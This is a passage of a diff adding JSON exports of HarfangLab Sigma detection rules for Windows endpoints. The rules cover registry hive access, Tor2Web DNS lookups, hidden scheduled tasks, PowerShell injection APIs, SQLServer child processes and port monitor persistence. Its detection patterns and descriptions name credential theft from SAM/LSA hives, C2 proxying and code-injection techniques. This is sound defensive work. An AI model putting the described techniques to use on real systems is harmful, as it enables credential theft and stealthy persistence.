exclusion_bitdefender:\n        Image|endswith: '\\Bitdefender\\Endpoint Security\\EPSecurityService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Bitdefender SRL'\n\n    exclusion_trendmicro:\n        ProcessProcessName:\n            - 'TmCCSF.exe'\n            # C:\\Program Files (x86)\\Trend Micro\\Security Agent\\Ntrtscan.exe\n            - 'Ntrtscan.exe'\n            - 'coreServiceShell.exe' # C:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe\n            - 'TMBMSRV.exe' # C:\\Program Files (x86)\\Trend Micro\\BM\\TMBMSRV.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_dllhost:\n        # Used when copy file from explorer when UAC is enabled\n        ProcessImage: '?:\\Windows\\system32\\DllHost.exe'\n        ProcessCommandLine: '?:\\Windows\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}'\n\n    exclusion_citrix:\n        ProcessImage|endswith: '\\citrix\\provisioning services\\soapserver.exe'\n\n    exclusion_hdclone:\n        ProcessOriginalFileName: 'hdclone.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Miray Software AG'\n\n    exclusion_sophos:\n        Image: '?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate?.dir\\su-repair.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Sophos Limited'\n            - 'Sophos Ltd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "885df422-ec8e-4f5d-81dc-26e4d816601f",
+  "rule_name": "Sensitive Registry Hive Accessed",
+  "rule_description": "Detects file accesses to registry hives files.\nAttackers may read registry hives directly from the disk, including backup files.\nThis can be indicative of an attempt to access sensitive information stored in registry hives (such as the SAM or the LSA secrets) for credential access.\nIt is recommended to investigate the process trying to access the hives for malicious contents.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-12-01",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "885f4356-e788-4be5-8463-3d400a7f4b80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602902Z",
+  "creation_date": "2026-03-23T11:45:34.602906Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602913Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://resources.infosecinstitute.com/topics/malware-analysis/malware-dark-web/",
+    "https://attack.mitre.org/techniques/T1090/003",
+    "https://attack.mitre.org/software/S0183"
+  ],
+  "name": "t1090_003_tor2web_proxy.yml",
+  "content": "title: Tor2Web Proxy Network Request\nid: 885f4356-e788-4be5-8463-3d400a7f4b80\ndescription: |\n    Detects DNS Requests to domains associated with Tor2Web proxies, such as onion.pw or onion.ws.\n    Tor2Web proxies are often used by RaaS (Ransomware As A Service) operators or Botnet networks to communicate with their C&C servers hiding in the Tor Network.\n    This gives adversaries an advantage by not integrating Onion routing protocol capabilities while still keeping the C&C server anonymous.\nreferences:\n    - https://resources.infosecinstitute.com/topics/malware-analysis/malware-dark-web/\n    - https://attack.mitre.org/techniques/T1090/003\n    - https://attack.mitre.org/software/S0183\ndate: 2023/10/31\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090.003\n    - attack.s0183\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|contains:\n            - 'onion.ws'\n            - 'onion.pw'\n\n    condition: selection\nlevel: high\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "885f4356-e788-4be5-8463-3d400a7f4b80",
+  "rule_name": "Tor2Web Proxy Network Request",
+  "rule_description": "Detects DNS Requests to domains associated with Tor2Web proxies, such as onion.pw or onion.ws.\nTor2Web proxies are often used by RaaS (Ransomware As A Service) operators or Botnet networks to communicate with their C&C servers hiding in the Tor Network.\nThis gives adversaries an advantage by not integrating Onion routing protocol capabilities while still keeping the C&C server anonymous.\n",
+  "rule_creation_date": "2023-10-31",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "88bbb3c0-be25-4bf1-aac1-0dc8e82f090b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621859Z",
+  "creation_date": "2026-03-23T11:45:34.621861Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621865Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1053/"
+  ],
+  "name": "t1112_hidden_scheduled_task.yml",
+  "content": "title: Scheduled Task Security Descriptor Deleted\nid: 88bbb3c0-be25-4bf1-aac1-0dc8e82f090b\ndescription: |\n    Detects the deletion of a scheduled task's Security Descriptor (SD).\n    Attackers often create scheduled tasks on infected systems to achieve persistence.\n    To hide the presence of a specific scheduled task, an attacker can delete the SD value within the registry path.\n    However, the deletion requires the attacker to run in the context of the SYSTEM user.\n    It is recommended to investigate the process at the origin of this registry modification and the scheduled task targeted by the deletion itself to determine the legitimacy of this action.\nreferences:\n    - https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1053/\ndate: 2022/05/05\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.execution\n    - attack.persistence\n    - attack.t1053\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'DeleteValue'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\\\*\\SD'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_panda:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Panda Security\\WAC\\PSANHost.exe'\n            - '.:\\Program Files (x86)\\Panda Security\\Panda Security Protection\\PSANHost.exe'\n\n    exclusion_total_uninstall:\n        ProcessImage: '?:\\Program Files\\Total Uninstall *\\Tu.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "88bbb3c0-be25-4bf1-aac1-0dc8e82f090b",
+  "rule_name": "Scheduled Task Security Descriptor Deleted",
+  "rule_description": "Detects the deletion of a scheduled task's Security Descriptor (SD).\nAttackers often create scheduled tasks on infected systems to achieve persistence.\nTo hide the presence of a specific scheduled task, an attacker can delete the SD value within the registry path.\nHowever, the deletion requires the attacker to run in the context of the SYSTEM user.\nIt is recommended to investigate the process at the origin of this registry modification and the scheduled task targeted by the deletion itself to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-05-05",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "88e012a4-b507-4285-acbc-b621ecda222f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085023Z",
+  "creation_date": "2026-03-23T11:45:34.085025Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085029Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_powershell_suspicious_code_injection.yml",
+  "content": "title: Suspicious Code Injection via PowerShell\nid: 88e012a4-b507-4285-acbc-b621ecda222f\ndescription: |\n    Detects the execution of a suspicious PowerShell script containing cmdlets that may perform code injection.\n    Attackers may use code injection to inject code into remote processes, aiming for privilege escalation, data theft or defense evasion.\n    It is recommended to investigate the PowerShell script in question, check for signs of code injection, review the executed command-line arguments, and analyze the process tree for any suspicious activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/11/23\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1218\n    - attack.execution\n    - attack.t1106\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_dotnet_apis:\n      PowershellCommand|contains:\n        - 'DefineDynamicAssembly'\n        - 'DefineDynamicModule'\n        - 'Add-Type'\n        - 'GetDelegateForFunctionPointer'\n        - \"GetType('Microsoft.Win32.UnsafeNativeMethods')\"\n\n    selection_memory_apis:\n      PowershellCommand|contains:\n        - 'VirtualAlloc'\n        - 'VirtualProtect'\n        - 'WriteProcessMemory'\n        - 'RtlCreateUserThread'\n        - 'CreateUserThread'\n        - 'CreateThread'\n        - 'CreateRemoteThread'\n        - 'QueueUserApc'\n\n    exclusion_defender_av:\n        ProcessCurrentDirectory:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\'\n        ProcessCommandLine|contains|all:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\AntiVirus.psm1'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\EDR.psm1'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\PolicyEnforcer.ps1'\n\n    exclusion_defender_av2:\n        ProcessCurrentDirectory: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\'\n        ProcessCommandLine|contains:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy AllSigned -NoProfile -NonInteractive -Command &'\n\n    exclusion_defender_av3:\n        PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\SenseCM\\PolicyEnforcer.ps1'\n\n    # https://www.powershellgallery.com/packages/dbatools/1.0.135/Content/allcommands.ps1\n    exclusion_dbatools:\n        PowershellCommand|contains|all:\n            - '#.ExternalHelp dbatools-Help.xml'\n            - 'function Add-DbaAgDatabase {'\n            - 'SLEEP_RETRY_VIRTUALALLOC'\n            - 'function Add-DbaAgListener {'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "88e012a4-b507-4285-acbc-b621ecda222f",
+  "rule_name": "Suspicious Code Injection via PowerShell",
+  "rule_description": "Detects the execution of a suspicious PowerShell script containing cmdlets that may perform code injection.\nAttackers may use code injection to inject code into remote processes, aiming for privilege escalation, data theft or defense evasion.\nIt is recommended to investigate the PowerShell script in question, check for signs of code injection, review the executed command-line arguments, and analyze the process tree for any suspicious activity.\n",
+  "rule_creation_date": "2021-11-23",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1218",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "88e5b7e0-e305-4e21-a287-03993926f06e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295263Z",
+  "creation_date": "2026-03-23T11:45:35.295267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295275Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-powershell-script-job-step?view=sql-server-2016",
+    "https://book.shentoushi.top/Databases/Mssql.html",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1505/001/"
+  ],
+  "name": "t1190_mssql_sqlservr_susp_child.yml",
+  "content": "title: Suspicious Process Executed by SQLServer\nid: 88e5b7e0-e305-4e21-a287-03993926f06e\ndescription: |\n    Detects the execution of a suspicious process by SQLServer.\n    Attackers may abuse built-in MSSQL Server functionalities in order to gain code execution on a machine hosting a compromised database engine.\n    It is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\nreferences:\n    - https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-powershell-script-job-step?view=sql-server-2016\n    - https://book.shentoushi.top/Databases/Mssql.html\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1505/001/\ndate: 2024/07/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059.003\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\sqlservr.exe'\n        Image|startswith: '?:\\' # Avoid detection on remote image\n\n    # This is handled by the rule 48a4e8ec-4a97-4420-8fd1-9ce20191c569\n    filter_cmd:\n        Image:\n            - '?:\\windows\\system32\\cmd.exe'\n            - '?:\\windows\\syswow64\\cmd.exe'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\WINDOWS\\system32\\WerFault.exe'\n            - '?:\\WINDOWS\\syswow64\\WerFault.exe'\n\n    exclusion_conhost:\n        Image:\n            - '?:\\WINDOWS\\system32\\conhost.exe'\n            - '?:\\WINDOWS\\syswow64\\conhost.exe'\n        CommandLine:\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1'\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0xffffffff'\n            - '\\\\??\\\\?:\\WINDOWS\\system32\\conhost.exe 0x4'\n\n    exclusion_mssqltools:\n        Image|endswith:\n            - '\\Tools\\Binn\\\\*.exe'\n            - '\\DTS\\Binn\\\\*.exe'\n            - '\\COM\\\\*.exe'\n            - '\\shared\\\\*.exe'\n            - 'MSSQL\\\\Binn\\\\*.exe'\n            - '\\LocalDB\\Binn\\\\*.exe'\n            - '?:\\Windows\\WID\\Binn\\SqlDumper.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_mssqltools_unsigned:\n        - Image:\n            - '?:\\Program Files (x86)\\Microsoft SQL Server\\80\\Tools\\Binn\\DTSRun.exe'\n            - '?:\\Program Files\\Microsoft SQL Server\\\\*\\Tools\\Binn\\DTSRun.exe'\n        - Image|endswith: 'MSSQL\\Binn\\slssqlmaint.exe'\n          ProcessDescription: 'LiteSpeed maintenance utility'\n\n    exclusion_litespeed:\n        - Image: '?:\\Program Files\\Quest Software\\LiteSpeed\\SQL Server\\Engine\\SQLLiteSpeedx64.exe'\n          ProcessDescription: 'LiteSpeed Backup/Restore Engine'\n\n    exclusion_pcaui:\n        Image: '?:\\Windows\\System32\\pcaui.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "88e5b7e0-e305-4e21-a287-03993926f06e",
+  "rule_name": "Suspicious Process Executed by SQLServer",
+  "rule_description": "Detects the execution of a suspicious process by SQLServer.\nAttackers may abuse built-in MSSQL Server functionalities in order to gain code execution on a machine hosting a compromised database engine.\nIt is recommended to check if this behavior is expected and check for malicious activities stemming from the newly created process.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "88ec665f-3f70-4356-9ad5-87781eb00cbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089119Z",
+  "creation_date": "2026-03-23T11:45:34.089121Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089126Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/010/"
+  ],
+  "name": "t1547_010_persistence_port_monitors.yml",
+  "content": "title: Port Monitor Installed\nid: 88ec665f-3f70-4356-9ad5-87781eb00cbe\ndescription: |\n    Detects the installation of a new port monitor on the system.\n    Port Monitors are DLLs loaded and run by the print spooler service, spoolsv.exe, under SYSTEM level permissions on boot.\n    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.\n    It is recommended to investigate the process that performed the registry modification as well as the target DLL at the path in the registry details.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/010/\ndate: 2020/09/24\nmodified: 2025/11/24\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.010\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\\\*\\Driver'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    filter_dword:\n        Details|startswith: 'DWORD '\n\n    filter_programfiles:\n        - ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            # \\\\HOST\\C$\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\Printer\\AddClearUPrinter.exe\n            - '\\\\\\*\\\\*\\Program Files (x86)\\'\n            - '\\\\\\*\\\\*\\Program Files\\'\n        - Details|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    filter_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\spoolsv.exe'\n            - '?:\\Windows\\System32\\PrintIsolationHost.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\inetsrv\\w3wp.exe'\n            - '?:\\Windows\\System32\\poqexec.exe'\n            - '?:\\Windows\\ccmcache\\\\*\\setup.exe'\n\n    exclusion_spoolsv:\n    # spoolsv.exe installs a lot of printer drivers\n        Image:\n            - '?:\\windows\\system32\\spoolsv.exe'\n            - '?:\\windows\\syswow64\\spoolsv.exe'\n\n    exclusion_known_ports:\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\7-PDF Print Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Adobe PDF Port Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Adobe PDF Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\AppliDisVirtualPort\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Appmon\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\BlueFilesPrinter\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Bullzip PDF Print Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Client Printer Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Converter driver portmonitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\DipMon\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\EpsonNet Print Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Evolis TCP/IP Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\FollowMe Client Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\FollowMe Local Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\FRCX port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\HP Standard TCP/IP Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\HubMail\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\iXBusMonitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Kioware Language Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\KX Language Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Local Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\LPR Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\MI7Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Microsoft Shared Fax Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\MicroStrategy Image Printer Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\MIJ RLP Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\NeeviaWT Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\PaperCut TCP/IP Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\PDF Architect 9 Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\PDF995 Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\pdfcmon\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\PDFLogic Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Port redirigé\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\SC2 TCP/IP Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Seagull Network Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Seagull V3 Network Monitor\\Driver'\n            - 